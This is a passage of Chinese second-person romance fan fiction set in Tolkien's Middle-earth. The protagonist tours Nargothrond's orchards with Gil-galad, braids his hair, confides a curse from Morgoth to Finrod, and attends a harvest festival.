一旁的芬罗德没有出声,而是用温和的目光注视着你和吉尔-加拉德,你甚至从他的脸上读出了几分慈祥的神态,不过说起来他的年龄确实是吉尔-加拉德的长辈加长辈的等级了,只是精灵的外表不会随着岁月流逝而发生改变,因此也难以从他们的外表判断年龄。 下午茶还没结束吉尔-加拉德就迫不及待地带着你去看石榴树,就是他以前在信件里提到过的那几棵石榴树,你说:“我们直接这样离开真的没问题吗?”你们似乎直接把芬罗德给丢下了吧? 吉尔-加拉德思索片刻,然后纠结地说:“难道我们要再带上他吗?”也不是不可以,但这总觉得有些奇怪。 “我也不是这个意思,我是说,至少应该和他说一声再走吧?” 说到这里吉尔-加拉德才后知后觉地意识到自己刚才光顾着带你去看石榴树,都忘了和芬罗德说些什么,而此时此刻被你们丢下的芬罗德怡然自得地和吉尔-加拉德的父亲欧洛德瑞斯一同享用下午茶,他说:“他们的感情比我想的好多了。” “在您原先的预想中他们的感情又该是怎样的呢?”欧洛德瑞斯问道,他又给芬罗德倒了一杯茶,后者想了想,“最初在我看来他们的感情一点也不对等。”他的直觉和观察力是那么敏锐,几乎一眼就能看出你们之间存在的问题,只是年轻的精灵被爱情冲昏头脑没有察觉到这隐藏着的问题而已。 或许你的确对吉尔-加拉德存在着喜欢,但你的喜欢远不及他对你的喜爱,更何况你选择与他定下婚约也是掺杂着其他的考虑,这也是为什么芬罗德在见到你的第一面就会选择试探你,因为从他的角度来看,你更像是一个利用感情的利己主义者。 但是后来的事实也证明了,芬罗德的猜测是错误的,你们的确彼此相爱,而且你也并非自私自利,你将多尔罗明管理得井井有条,甚至还帮助周边其他的人类村落,你还提出精灵与人类的合作,以此来使得这片大陆上更加欣欣向荣。 “然后呢,后来又是什么让你改变了看法呢?”欧洛德瑞斯说。 “事实胜于雄辩。”芬罗德端起茶杯,眺望远方,从他这个方向望去,隐约能够捕捉到你和吉尔-加拉德的背影,你们手牵着手走向后山的那一片树林,那里栽种着几棵石榴树,其中一颗石榴树更是因为加拉德瑞尔的魔法永远停留在花期。 欧洛德瑞斯倒是没有芬罗德想得那么多,他认为即便是双亲,也无权干涉后代的选择,因为那是他们的命运,是维拉安排好的。 他对芬罗德说:“这是最好的结果了,也是皆大欢喜的结果。” 他们心照不宣地没有提到最后的结局。 “我们快要到了吗?”你走到一半就开始这么问,吉尔-加拉德很有耐心地回答道:“还有一小段路,我们就快到了。” 你们一路走来,遇到的精灵都会与你们热情的打招呼,芬罗德也会向你一一介绍他们,也正是因为这样,你们路上耽搁了不少时间。 翻越过后山,来到森林边缘穿过一条小路,你们总算见到了那几棵石榴树,除了那一棵被加拉德瑞尔施加了魔法的石榴树,其他几棵树都已经结满了果子,红彤彤的果子挂在枝头,压得树枝不得不低头。 “今年结的果子比往年还要多。”吉尔-加拉德说。 因为果实沉甸甸的,你伸手就能够到被压得最低的树枝,从上面摘下一颗石榴,这石榴的个头很大,掰开后,那暗红色的果实紧密地排列在果皮内部,你掰下几颗石榴籽送进嘴里,“很甜……” “除了石榴树这里还有樱桃树,你要去看看吗?” 你对纳国斯隆德的印象都要变成一个果园了,在后山的森林里各种各样的果树,只有你想不到的,没有他们不种植的。 因此在森林里,不对,准确来说,应该是在这个果林里转了一大圈下来,你的怀里满是各种各样的水果,最多的就是鲜红的樱桃了。 “因为这些果树的产量太高,所以吃不完的水果都会用来做成果酱或者是蜜饯,当然也可以用来当作餐点的佐料。”吉尔-加拉德一边说着,一边向还在果园里采摘果实的其他精灵打招呼,“在这些水果里面,精灵最喜欢的应该就是葡萄了。” “因为葡萄能酿成酒吗?”你先一步问道。 “是的,而且还是酿成美酒。”几乎没有精灵能够拒绝美酒,不过也不是每个精灵的酒量都很好,有的精灵酒量就不太行,但这丝毫不会影响他们对于美酒的热爱。 兜兜转转,你们又回到了那几棵石榴树下,这一次你站在那棵永远停留在花期中的树旁,真正让你感到惊奇的是那位加拉德瑞尔夫人到底是如何施展这个魔法的呢? “这样的魔法你也能做到吗?”你询问吉尔-加拉德,后者表情抱歉,“恐怕我没有你想的那么厉害,在我认识的精灵里应该只有加拉德瑞尔夫人能够做到。” 所以说精灵,尤其是出生在维林诺的精灵自小都是与维拉生活在一起的,但这也不代表他们个个都精通魔法,因为魔法本身就对使用者极为挑剔,只有生来拥有极高天赋的精灵才能灵活使用魔法。 而那位加拉德瑞尔夫人就是拥有极高魔法天赋的精灵。 你沉默不语,正在思考自己是否要找个时机与那位加拉德瑞尔夫人见一面,不过她远在多瑞亚斯。 如果你真的要和他见面,最合适的理由也是得要搬出她的亲族吉尔-加拉德,但是最终能否与她见面还得取决于那位辛葛王。 在你陷入沉思的时候,吉尔-加拉德又说:“虽然我无法做到这样高深莫测的魔法,但是普通的魔法我也是能够做到的。” 嗯?你都不知道他原来还会魔法呢。 闻言,你好奇地看着他,“比如说?” 吉尔-加拉德抬起手点了点垂在身边的树枝上的花朵,只见到花朵悠悠然地从树枝上飘落,然后径直向你飞来,最后落在你的掌心。 嗯……确实只是一个普通的魔法而已,但你还是很捧场,你捧起那朵花,说:“我可能要好好的保留它,留着纪念,就像你留下那一缕头发一样。” 说到这里你还不忘提起那一缕头发的事情,吉尔-加拉德知道你在调侃自己,他说:“这说明我们心有灵犀,非常有默契。” 什么话都被他说了去。 你们又在这片果林里停留片刻,帮着其他精灵采摘水果,那些精灵会主动询问你很多问题,谁说只有人类才八卦的呢?其实精灵也一样。 比如说有个正在采摘葡萄的精灵问你:“我听说您与我们的殿下初次见面的时候差点用箭射中他的心脏是真的吗?” 听到这个问题,你不由得楞了一下什么叫做直接就射中心脏了呢?而且这个传言又是怎么传出去的? 你顿了顿,“如果我真的用箭射中你们殿下的心脏,他现在又如何安然无恙地站在你们面前与你们聊天呢?” “嗯……这个嘛,我也不是很清楚,其实这件事情我也是道听途说来的,所以事情的真相不是这样的吗?”那个精灵看上去年纪也不大,说话语调活泼开朗,难怪会相信这样离谱的传言。 “当然不是这样的啦,我与你们殿下的初次见面的确发生了一些小插曲,当时我正在练习射箭,而你们的殿下无意之中闯入我的训练场地,我一惊之下就不慎将搭在弓箭上的箭矢射了出去。不过好在并没有命中心脏,只是擦过了他的脸颊,留下一道轻伤。” 鉴于你现在心情不错,你可以耐着性子像这位精灵解释这件事的来龙去脉,周围的精灵也嗅到了八卦的气息,一个劲地凑过来听你讲故事,晚来的几 个精灵没听到你刚才说的故事就和身边的朋友窃窃私语。 “她刚才都说了什么?” “她刚才说了与我们的殿下初次相遇的画面,她一个不小心将弓箭对准了殿下。” “啊!难不成那弓箭真的命中了殿下的胸膛?” 你似乎看到了传言是怎么产生的。 第57章 第57章“不过还有一件事情,我…… 除了你与吉尔-加拉德初次相遇的问题,他们还有各种各样的问题,比如说还有精灵好奇地问:“我听说您们一开始就私下定下了婚约,而且您为了我们殿下还不惜逃婚也要解除与另外一位人类贵族的婚约,这是真的吗?” 在他们看来你选择逃婚的理由就是为追寻真爱,你倒是不介意他们这么想,毕竟就算你真的和他们说你另有目的,他们也会继续追问个不停的,那就代表你还得要继续解释下去,那未免也太浪费你的时间了,因此你点了点头,“从结果来看的话差不多是这样的。” 眼看着你被其他八卦的精灵团团围住,吉尔-加拉德抓住时机带着你离开这里,你们一路小跑着离开森林,跑到一半他还回过头看一眼确认没有精灵跟上来,他这才松了一口气,然后说:“我应该早点带你离开的,他们比我想象的还要热情。” 甚至是热情过了头,他在心里补充后半句。 “他们问的都是些无伤大雅的问题,你也不用那么严肃。” “但我知道你的耐心就要被耗尽了,而且……有些问题你回答他们的也并不是正确答案不是吗?” 有时候吉尔-加拉德的敏锐程度出乎你的意料,你放慢脚步,从原来的小跑改为缓步走,你刚才收获的那些水果大部分都分给路上遇到的精灵了,你的口袋里还装着几颗新鲜樱桃,“你说的有些问题指的又是什么?” “就比如说……你当初逃婚也不完全是因为我们的婚约对吧?”他从始至终都看得很清楚,远没有芬罗德想的那样被你欺骗,实际上他早就认识到了你的本质,可爱情就是在看穿恋人的本质后依旧选择站在对方身边,他从不觉得自己做错了什么。 你从口袋里拿出那一小串樱桃,摘下其中一颗咬了一口,“是的,但我可以向你保证,我在做出逃婚的决定时也曾考虑过你,你的婚约也是促使我做出这个决定的一大影响因素。” 得到你这样的回答就已经能够让吉尔-加拉德感到满足,他没有再继续追问,正好此时此刻你们也回到了宫殿内,鉴于你已经和吉尔-加拉德成婚,所以芬罗德还特意为你们准备了房间,就在他原来卧室的旁边,新的房间比起原来的更加宽敞,更像是一个套间。 你们在果林里浪费了太多时间,眼看着午后的最后一缕阳光即将从天边消失,这意味着你们得要为晚上的宴会稍作打扮,你换上一身深蓝色的长裙,还好这条裙子穿起来不算太复杂,唯一复杂的地方大概就是腰带的设计,需要在背后打上一个蝴蝶结。 反手打蝴蝶结对你来说其实也不难,但走入卧室的吉尔-加拉德看见你的动作,他便说:“让我来吧。” 你收回手,“好吧,那就交给你了。” 吉尔-加拉德捻起那两条系带手指绕着带子,最后给你打了一个工整又对称的蝴蝶结,你转过身,“为了表示礼尚往来,你有什么系带需要打蝴蝶结的吗?” “这个……”他也陷入沉思,你把他从头到脚打量一遍,发现似乎真的没有需要打结的地方,最后还是他找出一条发带递给你,“那就麻烦你为我编发了。” 精灵的编发都很复杂,你小时候就曾见识过那些精灵甚至还会比较谁的编发更加复杂精致,有的男精灵为了博得喜欢的精灵喜爱还会专心琢磨各种不同编发的款式,那叫一个争奇斗艳,但是你亲眼见证过这些东西不代表你也擅长编发,实际上,你不怎么擅长。 但既然吉尔-加拉德都把发带交到你手上了,那也没有拒绝的道理,你只能对他招招手,然后示意他坐在椅子上,而你则是站在他的身后用木梳把他的头发从头梳到尾,因为他的头发本就柔顺,所以你象征性地梳了几下就把木梳放到一边,然后对着那一头披散的头发无从下手,你的手搭在他的肩头。 过了一会,吉尔-加拉德似乎也察觉到了什么,他回过头,“最普通的编发就好。” 你在脑海里搜刮了一圈普通的编发,总算是找到一个发型,你把他耳边的头发分出一小簇,编织成一条小巧的麻花辫,另外一边也如法炮制,最后再把这两条麻花辫汇入其他头发,用发带把头发扎起,调整发带两端的长度,让两边的长度对齐,然后再打一个同样对称的蝴蝶结。 做完这一系列动作你又拍拍他的肩膀,“可以了,虽然这编发算不上多精致,但我已经尽力了。” 他对着镜子仔细看了一圈,赞美之词就跟不要钱似的源源不断地冒出来,听得你忍不住对他比了个打住的手势,后者这才停下,眼睛笑盈盈地看向你,就算他嘴上不说话了,但他的眼睛还是会说话,真该把他的眼睛也给遮住的。 “我只是给你简单地编了个头发而已,而且水平也远不及你自己编的。” “但这应该是你第一次也是唯一一次给精灵编发不是吗?”他在意的是这种唯一性和排他性,而且在他看来你的编发水平也不差,你就是太过于自谦了。 “是的。” 很快你就开始后悔自己给他编发了,因为在当天的宴会上基本上每个和吉尔-加拉德聊天的精灵都会听见他莫名其妙地来一句,“我的发型如何。” 不解的精灵往往顺着他的意思给出“挺漂亮的”“有种朴素的美感”“简约而不失气质”,然后就会听见他顺势说:“这是我爱人为我编的。” 精灵们才恍然大悟,原来他只是为了炫耀你给他编了头发啊,到后来其他精灵见到他都会主动夸奖他的编发,“是您的爱人为您编的对吗?您和您爱人的感情真好。” 听得吉尔-加拉德满脸笑容连连点头,就是你都有点受不了他这股炫耀劲了,把他拉到一边,然后说:“这样下去大家都会知道我给编了头发,唉,这也不是什么大事不是吗?” “但我还是……会因为你为我做的事情而感到欣喜。”就像是通过这些小细节反复确认你对他的爱,由此来抚平他内心的不安。 听到他那么说,你沉默了好一会,“那你就继续去说吧。” 吉尔-加拉德却说:“已经不用再继续说了,因为我想其他精灵应该也已经听说了这个消息。” 宴会接近一半的时候,你瞥见一位精灵,急匆匆地走入宴会厅内在芬罗德身边停下,接着又对芬罗德耳语几句,只见芬罗德的脸色发生改变。 你跟了上去,追随着他们的脚步,一路走出宴会厅。 “你是说他们在南方捕捉到了魔苟斯的踪迹?” “但提供消息的精灵也不能确定,身处南方的人类部落首领告诉他们曾经在这一带目睹过一道散发着不祥气息的邪恶黑影。” 闻言,芬罗德停下脚步,他刚要说些什么,但直觉告诉他有谁在跟着他们,于是他猛地回过头,发现原来是你,他的神色变得稍微缓和一些,问道:“怎么了?我记得你刚才应该还在享受宴会的。” “我看到您神色匆匆的离开宴会厅,就在担心是不是发生了什么大事,于是跟出来想看的究竟,如果真是这样,我或许可以提供帮助。”你把话说得滴水不漏,仿佛你真的只是因为关心才离开宴会厅的。 “也不是什么大事……”在芬罗德看来你毕竟是来这里做客的客人,他又怎么可能将这样的烦心事说给你听呢。 “但您的表情似 乎不是那么说的。” 芬罗德知道你的性格倔强,他思考再三,最后叹了一口气才说:“这里不适合谈论这些事情,还是移步书房吧。” 于是乎,你跟着芬罗德去往他的书房,路上他又和那位手下谈论细节,“那些人类手里能够确认自己看到的黑影不是幻觉吗?” “如果只是一个两个人看到那或许还能用幻觉来解释,但看到这道黑影的人不止一两个,甚至一整个村落的人都目睹了那道黑影,掠过天空。” 从他们的对话中,你大概可以猜出他们讨论的对象是谁,不就是之前被精灵重创后灰溜溜逃跑的魔苟斯吗? 没想到他直接跑到南方去了,不过也是,大部分精灵,尤其是诺多精灵都定居在贝烈瑞安德大陆的北方地区,至于南方地区占据着那里的大部分是人类村落,对于刚刚被精灵重创过的魔苟斯来说显然与人类当邻居危险性会低一些。 “得要赶在他建立新的据点之前解决掉他。”芬罗德说到这后半句话的时候语调冰冷,这其实对他们来说也是个好消息,因为如果不是魔苟斯暴露行踪,放任他继续潜藏下去,说不定他还会准备下一次的袭击。 你走在他们身边,静静地听他们谈论这个话题,说到魔苟斯你就又想到了之前在系统面板里看到的[受诅咒]状态,你非常怀疑就是魔苟斯诅咒了你,但是直到现在这个状态对你都没有什么影响,而且你也再没有在睡梦中听到魔苟斯的声音,就好像是他彻底消失了一样。 当然,你也不会因此而掉以轻心,早在你发现这个状态之后,你就翻阅了许多书籍,尤其是与诅咒相关的书籍,不过你暂时还没有把这个消息告诉吉尔-加拉德,原因也很简单,但凡他知道这个消息肯定会比你还要着急,反而会给你添麻烦。 走了一路,你们最终在芬罗德的书房门口停下,芬罗德为你打开门,你走进书房,只见芬罗德向他的手下递去一个眼神是以他将整件事情向你娓娓道来。 这件事情大约发生在一个月前,与你离开多尔罗明时间点非常巧合地对上了,魔苟斯如今丢失那三颗精灵宝钻,以及折损了好几员大将,设置与自己也被精灵打得遍体鳞伤,你听说他在逃离战场的时候,甚至形体都发生了改变,从原来高大的身躯变为矮小佝偻的身形。 因为他毕竟是维拉能够随意改变自己的形体,他当初降落在这块大陆上选择化形成高大漆黑的身躯就是为了震慑其他生灵。 而他在那场大战中,甚至不惜改变自己的形体也要逃跑,足以见得他当时有多狼狈,他将这一系列的失败都归因于对你的心慈手软,他就应该当初在你进入他的领地那一刻就直接杀死你的。 这样一来就不会发生后面的事情了,可是木已成舟,就连魔苟斯也无法改变过去的事情,但他对你的憎恨与日俱增,他就像憎恶曾经的费艾诺一样憎恶着你。 对你的这份恨意驱使着他筹备一系列的复仇计划,躲在南方的他偶尔也会将目光投向北方,看向你所在的多尔罗明,那道恶毒的视线始终笼罩着你的国度。 芬罗德在手下将整件事情的来龙去脉全都说完之后,你得出一个结论,“斩草要除根,如果放任下去,他很可能会继续报复我们的。” 准确来说是报复你,你很清楚地知道自己对他都做了什么,但你没有丝毫的愧疚心理,毕竟你拿走他的王冠,只是为了将上面的精灵宝钻物归原主,至于你告诉精灵魔苟斯的兵力分布这也是情有可原的。 所以无论怎么看你都不觉得自己做错了什么,相反的,是魔苟斯做错了事,是他轻信了你,那么他就应该要做好承担任何后果的准备。 “多尔罗明会提供相关帮助的。”你说,“不过还有一件事情,我希望您能替我保密。” 这也是你来纳国斯隆德的另外一个目的,那就是寻找解除你身上诅咒的方法。 “什么事情?”芬罗德问道,在问出这个问题的时候他的心里隐隐有种不好的预感,下一秒他的预感应验了。 “关于我身上的诅咒这件事。” 第58章 第58章“腿环,送给你的。”…… “你身上的诅咒?”芬罗德一下子就变得紧张起来,“什么诅咒?你先前怎么没有说过呢?” 你合理怀疑吉尔-加拉德爱担心的毛病就是从芬罗德那里继承下来的。 “因为我也是不久前才刚刚发现的,而且我也在尝试着解除这个诅咒,但现在看来收效甚微。” “你能再和我仔细说说吗?”芬罗德的语调不由得变得急促起来,还好你提前告诉他不要把这件事情往外传。 你将关于这个诅咒的来龙去脉说了一遍,当然有些细节部分你一笔带过没有仔细说,芬罗德听到后来,眉头紧皱,他问:“这件事情他……” 话说到一半,他就打住话头,如果吉尔-加拉德真的知道这件事情,这次回来绝对不会那么放松的,因此他一下子就想明白了,你还没有将这个诅咒告诉他。 “是的,他还不知道,不过好消息是这个诅咒目前看来对我没有太大的影响。” 芬罗德不理解你怎么能表现得那么淡然,仿佛丝毫不在乎自己的生死,那云淡风轻的样子就像是在讨论另外一件毫不相关的事情。 目前看来对你没有影响,不代表以后不会对你有影响,想到这里,芬罗德又让手下去仓库取来具有祝福属性的首饰,这些首饰都是他从维林诺大部分首饰都经过双圣树光辉的照耀,或许能对你身上的诅咒起到压制的效果。 “看样子我们得要尽快解决魔苟斯了。”芬罗德喃喃自语。 芬罗德似乎觉得仅仅只送你这一些首饰,可能起不到什么保护作用,他就又说:“我会再给加拉德瑞尔写信的,让她帮忙询问美丽安王后是否有相应的解决方法。” “仅仅因为这件事让您写信就太劳烦您了,不如还是让我给加拉德瑞亚夫人写信吧。”这样一来,你反而能够和远在多瑞亚斯的加拉德瑞尔取得书信联系,这还真是意外的收获。 芬罗德不觉得你说的这是一件小事,他说:“无论怎么说,你既然已经与吉尔-加拉德成婚,那么你也是我应该照顾的后辈。” 最后你们商讨出来的结果就是你和他都给加拉德瑞尔写一封信。 事不宜迟,你在芬罗德的书房里抽出一张空白信纸在上面写下对加拉德瑞尔的问候以及关于诅咒的事情。 要是能以此为理由去多瑞亚斯一趟似乎也不错,因为你对那位美丽安王后也很好奇。 你依稀记得自己当初在埃欧尔森林里生重病,就是他从美丽安王后手里取来的魔药解救了你。 不同于气定神闲慢悠悠写着信的你,坐在你另外一边的芬罗德就没有那么悠闲了,毕竟他身为长辈,而且还是吉尔-加拉德的长辈总不可能眼睁睁地看着你因为诅咒折磨而死,这无疑是对多尔罗明,而且也是对你的精灵,爱人的沉重打击。 因此在你写到一半的时候你听到了芬罗德把信纸折叠起来放进信封里发出的细微动静。 他这么快就把信写完了吗?你瞥了他一眼,又低下头把最后的结尾写完,然后才把信纸折叠起来同样放进信封里,再用蜜蜡封口。 当你写完这封信的时候,留在宴会厅的吉尔-加拉德也发现你似乎消失不见了,他询问周围的精灵是否有见到过你,有个精灵回答道:“我刚才好像看见她和陛下一同离开了,而且他们走的时候表情严肃似乎在讨论什么重要的事情。” 闻言,吉尔-加拉德也当即从宴会厅离开,径直来到芬罗德的书房,敲了敲门,书房 的门被人从里面打开,开门的人恰好是你,其实你刚才一听门外的脚步声,就知道来者是谁。 “你怎么过来了?是宴会不好玩吗?” 吉尔-加拉德说:“是因为宴会上没有你。” 他似乎忘了书房里还有另外一位精灵吧?你轻轻地拍了拍他的手背,吉尔-加拉德又对着芬罗德点了点头,后者说:“那正好现在你们也碰面了就一同回宴会厅吧。” 但吉尔-加拉德却不打算就这么离开,他又问道:“我听说你们离开宴会厅的时候表情严肃像是在讨论什么重要的事情,这是我不能知道的事情吗?” 果然他来这里不光是来找你的还是来问芬罗德得到了什么消息。 “这件事情……”你略带犹豫,只听见芬罗德轻轻地叹了口气,然后说:“有人在南部地区目睹了魔苟斯出没的身影。” 只听到魔苟斯的名字,吉尔-加拉德一下子就意识到这是非常重要的事情,在当初那场大战中魔苟斯没有被彻底杀死,但是当时的人们以及精灵都沉浸在大战胜利的喜悦中,只有少部分的精灵为没能完全杀死魔苟斯而感到担忧。 因为在他们看来,这像是为未来埋下后患。 “那我们何时再次讨伐他呢?”吉尔-加拉德问道。 “这正是我们刚才讨论的事情,我们都认为尽快讨伐为妙。”你说。 但你还是有些后悔和他说这件事,因为这直接导致他今天晚上都愁容满面,一直到深夜,就连你都有些看不下去了,你说:“我想你没必要因为这件事情而破坏你的好心情。” “但是我有一种不好的预感……总觉得他还会夺走什么珍贵的东西。” 精灵的直觉大部分时候都非常准确,这才是真正让他感到担忧的地方。 他抱住靠在床头的你,呼吸掠过你的手臂,那触感痒痒的,他长久的没有说话,一直保持着安静的状态。 你也安静地看着书,直到他又忽然出声,“不过你说的也有道理,我们不应该因为他的缘故而主动放弃获得幸福的资格。” 你都还没说什么呢,他就已经自我开解完了,你需要做的就只是对他点点头,然后来上一句“我认为你说的很对”。 “唉……但要是我的爱人能少看一会儿书就更好了。”他话锋一转,然后又将脑袋靠在你的小腹上,你透过书本边缘的缝隙看见他缓慢地对你眨了好几下眼睛。 但你依旧不为所动地认真看书,书翻了一页又一页,看到最后,你瞧见书本边缘冒出来的手指,指尖摩挲你的小指。 终于,你合上了书,吉尔-加拉德还问:“你怎么不看书了呢?” “我不看书的原因你不是很清楚吗?”他这不是在明知故问吗? 吉尔-加拉德勾着你的手指,轻轻地摇晃了一下。 虽说你们都已经洗漱过了,发现他的头发还没有拆散,甚至他有意识地控制着没有弄乱发尾的蝴蝶结,见到他这样你好笑地说:“应该不会是要把这个发型一直保留到明天吧?” “难道这不可以吗?” 也不是不可以,只不过看上去有些奇怪而已,你说:“也可以……那如果我说明天我也会帮你编发的话,你会把头发拆散吗?” 吉尔-加拉德认真地思考了一下,他期待地问道:“明天也会是这个发型吗?” 你单手托腮,他很少在你脸上看到为难的神色,但是现在的你秀气的眉毛微微皱起,这次轮到他伸出手抚平你的眉毛,安慰道:“要不然还是算了吧。” 什么叫做还是算了吧,你的胜负心一下子就被激发出来了,你说:“不,不能就这样算了,不就是编发吗,应该也不会难到哪里去吧?” “是的,我相信凭借你的聪明才智学习编发,根本不在话下。”吉尔-加拉德也顺着你的意思说。 “所以现在可以拆散头发了吗?”你又问道。 “可以。”他点了点头。 但是没等他动手,你就先伸出手绕到他的脑后,手指勾着发带的一角,绕着指腹一圈,然后抽开这个蝴蝶结,就像是在拆开精心准备的礼物一样。 吉尔-加拉德也配合地微微低下头,你瞥见他平日里隐藏在长发之下的后颈,伴随着他低头的动作,那一块肌肤浮现出美丽精致的线条。 拆开发带以后还得要拆散他两边的两条小发辫,然后才把头发从头梳理一遍。 做完这些事情你正要收回手,但是他却握住你的手腕,主动将侧脸贴上你的掌心。 “今天你不再教导我什么了吗?”他的嘴唇张合。 你的指腹摩挲他的侧脸,你低下头,都随着你的靠近,原本披在你脑后的黑色长发也随之滑到胸前,黑发与棕褐色的长发相互纠缠。 你有些苦恼地想,明天早上起来的时候头发不会又要缠绕在一起了吧。 昨天早上起来的时候,让你感到庆幸的是你和他的头发没有缠在一起,你起身走到浴室,正要洗漱的时候忽然感觉到喉咙传来的一阵痒意,你接连咳嗽了几声,咳嗽的架势越来越严重,最后甚至咳出了一口鲜血。 你盯着那刺眼的鲜红色,面上没什么表情,毕竟你小时候大病小病接连不断,咯血也不算什么大事情。 你现在心里面想的都是得要尽快解决魔苟斯了,要不然放任他的诅咒蔓延下去,你都还没当几天君主呢就要这样一命呜呼了。 好在你上次出于谨慎起见在发现自己的受诅咒状态之后就当即存了档,就算真的发生了什么你也可以读档回到那个时间点。 不过这多多少少有些麻烦。 你平静地注视着水流将这鲜血冲刷走,现在的症状是咯血,那么之后又会是什么症状呢?你若有所思。 但吉尔-加拉德的脚步声打断你的思考,他隐约嗅到了什么血腥味,所幸的是你关着浴室的门,他只能站在门外呼唤你的名字,“伊玟?你流血了吗?” 你先是应了一声,处理完洗手台上的零星血珠才打开门,表情很正常,就好像他刚才的担心都是多余的,他向浴室里走了一步,“我刚才……好像嗅到了血腥味。” “应该是你的错觉。”你一笔带过这个话题,然后又以换衣服为由把他赶出浴室,在早上的小插曲过后你们又一同去往餐厅享用早餐,他今天的头发也是你编的,今天的他总算是没有遇到一个精灵就和对方聊发型的话题了,但架不住有别的精灵打趣地问他“殿下您今天的编发也很美丽。”这些赞美的话语把他夸得喜上眉梢。 你们在餐厅遇到了正在用餐的芬罗德,他似是无意地和你提起有多瑞亚斯的回信,吉尔-加拉德还以为那是加拉德瑞尔的寻常问候,因为平日里她也会时常给自己的哥哥芬罗德写信,因此也没有放在心上。 等到早餐结束以后你找个机会与芬罗德单独相处,他从加拉德瑞尔写给他的那封信里得知了什么不好的消息,另外一封信他没拆,原封不动地递给你,“你确定不把这件事情告诉他吗?” “日后有合适的时机我会亲自告诉他的。”你轻描淡写地说,然后从他手中接过那封信,直接拆开信封,抽出信纸,然后将信纸展平,加拉德瑞尔写信的风格简约明了,不会有什么多余的问候,顶多就是在信件开头庆祝你和吉尔-加拉德新婚快乐,除此之外就再没有别的什么无意义的寒暄,她开门见山地回答你先前在信件中提到的问题。 “我很抱歉听到这个消息,我在收到信以后当即就去询问了美丽安王后,她给出的答案是虽说来自 魔苟斯的诅咒恶毒残忍,但也并非没有解除的方法,而且你先前为贝烈瑞安德大陆的和平做出巨大贡献,甚至还破解了费诺里安的诅咒,所以她说,维拉们会保佑你的。” 你一个字一个字地看过去,王后美丽安说的话倒也有几分道理,不管怎么说你都为中土的和平做出了贡献,这也不由地提醒了你,如果你做出的贡献足够多,或许你有朝一日能够与造物主伊露维塔见面,你也可以询问对方复活你的真实目的又是什么。 看到最后,加拉德瑞尔还说如果你有空可以来多瑞亚斯一趟,她会请求辛葛王准许你入境。 看完这封信,你沉默几秒,芬罗德说:“我猜我妹妹应该和你说了你过阵子可以去多瑞亚斯看看。” “是的,您猜得很准,她说她会恳请辛葛王准许我的到来。”说着,你收起信纸,沿着最初的折痕重新叠好然后放回信封里。 这也勉强算是个好消息,芬罗德想。 他昨天不光是给多瑞亚斯的妹妹写了信,还给芬国昐大人也写了信,告诉他们南方地区的情况,他想这位至高王应该会做出明智的决定,果不其然地,没过几天,芬罗德就收到对方的回信,他在信中提到自己会和其他费诺里安一同前往南方查看情况的。 接下来的几天你都在纳国斯隆德国度内帮助精灵准备即将到来的丰收宴会,才几天时间你就已经认识了不少精灵,他们的名字你都记得一清二楚,在路上见到他们你都习惯性地向他们打招呼,就这样一来二去,纳国斯隆德的精灵也都对你非常熟悉。 丰收宴会也终于在一个晴空万里的日子举行,你听说这个宴会一般从早上就开始举行,一直持续到深夜,整整举办一天,因此从早上起来你就能感受到这片国度内洋溢着的轻松喜悦的气氛,路上遇到的每一个精灵脸上都带着笑容,他们一见到你就热情地向你打招呼,有的还会送上自己刚刚编织好的花冠,第一个送给你花冠的精灵窃喜道:“这下子其他精灵看到我送给您的花冠肯定会自愧不如的。” 然而事实是,之后陆陆续续送给你花冠的精灵都会把自己的礼物夸得天花乱坠,顺便再评价一句其他精灵送给你的花冠,当然,这些都是友好的评价。 但后面送你礼物的精灵实在是太多了,你只能先打道回府,免得自己被礼物淹没,不过他们送给你的花冠你一个也没落下,统统拿回房间。 吉尔-加拉德瞧见你从外面兜了一圈回来,手上还有脑袋上多出那么多的礼物,他也不由得愣了一下,“这是……?” “如你所见,这些都是别的精灵送我的礼物,差点就要把我淹没了。”你这不是夸张的说法。 他无奈地笑着向你解释:“他们就是太热情了,不过这也说明他们都很喜欢你,我很高兴见到你能够融入这里。” 你可不觉得自己能融入这里,毕竟你不会在这里停留太久,多尔罗明的公务还在朝你招手呢,就算你这些天确实是在休假但你心里面想着的还是多尔罗明的政务,倒也不是你有多喜欢工作,而是既然你已经是多尔罗明的君主,那就得要承担起责任。 吉尔-加拉德把那些花冠从你胳膊上取下来,然后一一放在桌上,最后才取下你脑袋上的花冠,他托着那顶花冠,诚实地说:“看到这个我的确有些在意,因为只有我编织的花冠才配得上你。” 他是说到做到,他花费了一整个下午的时间来为你编织花冠,在此期间你还在旁边学习。 “图尔巩大人没有教过你吗?”吉尔-加拉德问道。 “没有,他们总是担心花枝会弄伤我的手指。”他们觉得你太过脆弱,稍有不慎就会弄伤自己,所以尽可能避免一切有危险的活动。 说着,你很反叛地抓起一把花枝,满脸无所谓,“看吧,花枝其实根本不会弄伤我,他们还是想太多了。” 吉尔-加拉德点了点头,“那你现在可以想编什么就编什么了。” 你们花费了一个下午的时间来编织花冠,你编到后面就开始发挥创新,什么鲜花项链,鲜花手腕各种各样的什么都有,吉尔-加拉德目光扫过你的杰作,花冠,项链和手环都很好分辨,他拿起其中一个大小既不像是头冠又不可能是手环的东西问道:“这又是什么?” 你的笑容灿烂,“腿环,送给你的。” 他拿着腿环的手僵住,也不知道是该收下还是该放回去,他只能无措地眨了眨眼睛,然后问:“今天戴吗?” “随便你。”你站起身,伸了个懒腰,他抬起头看你,又问:“会不会不合适呢?” “不会,我知道你的维度,嗯……用手丈量过。”说着,你摇晃了一下自己的右手,吉尔-加拉德赶忙阻止你再继续说些什么。 时间很快来到晚上,因为宴会从早上就开始了,所以也不存在你们迟到或者早到的问题,这场宴会是在露天的草坪上举行,旁边就是后山,场地中央燃烧着篝火,驱散黑暗与寒冷。 你穿梭在宴会现场,跟着音乐声与吉尔-加拉德共舞,你专门学习过交谊舞,你说的是人类交谊舞,这和精灵的舞蹈有些区别,不过大致的舞步是差不多的,而且相较之下,还是对方更加紧张一些,还得让你出声提醒他不要那么紧张,放松一些。 这也不是你们第一次跳舞了,早在婚礼上你们就曾跳过几支舞,那个时候的吉尔-加拉德比现在还要紧张,你牵着他的手还能感受到他在微微颤抖。 “唉,和我跳舞就那么可怕吗?”你借着舞步接近他,然后踮起脚尖在他耳边问道。 “可怕?才不可怕。”他牵引着你转了一圈,你飘荡起的裙摆扫过他的双腿,“我就是担心跳得不够好。” “只要你别踩我的脚,那就一切都很完美,我对你的要求就那么低。”你半开玩笑地说。 